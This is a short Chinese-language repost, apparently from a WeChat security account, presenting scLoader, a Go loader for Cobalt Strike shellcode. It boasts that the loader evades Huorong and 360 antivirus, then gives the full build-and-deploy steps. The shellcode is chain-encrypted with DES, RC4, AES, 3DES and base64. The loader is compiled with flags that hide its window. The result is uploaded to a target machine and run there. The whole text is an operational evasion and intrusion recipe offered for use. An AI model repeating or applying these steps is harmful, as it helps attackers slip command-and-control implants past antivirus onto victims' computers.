CS shellcode 加载器 -- scLoader
2022-12-26 08:8:39
Author: 系统安全运维(查看原文)
阅读量:16
收藏
目前测试了火绒和360,静态动态都能免杀,静态VT检测效果一般。
1、编译sparrow.go(不想编译直接go run也行)找到项目中builder/sparrow.go文件,然后如图编译即可2、使用sparrow.exe加密shellcode在CS中生成需要格式的shellcode,将CS生成的原始.bin文件或.c文件放在sparrow.exe同一目录,使用命令#.bin文件
.\sparrow.exe -e des,rc4,aes,3des,base64 -f .\payload.bin
#.c文件
.\sparrow.exe -e des,rc4,aes,3des,base64 -f .\payload.c
注意:-e参数必须使用base64编码结尾
3、将加密之后的shellcode填充到/loader/loader.go中的shellcode变量4、将-e参数的值(加密顺序)填充到/loader/loader.go中的encodestr变量中go build -trimpath -ldflags="-w -s -H=windowsgui" ./loader/loader.go
6、上传到目标机器,使用loader.exe -token命令加载shellcode项目地址:https://github.com/Peithon/scLoader
文章来源: http://mp.weixin.qq.com/s?__biz=Mzk0NjE0NDc5OQ==&mid=2247514362&idx=3&sn=426c2eef3374da94ce519d9722bfc2a8&chksm=c3086b8af47fe29c7bbbb82052dd74a4b7a2595389ded1941780787339010aced518387a8707#rd
如有侵权请联系:admin#unsafe.sh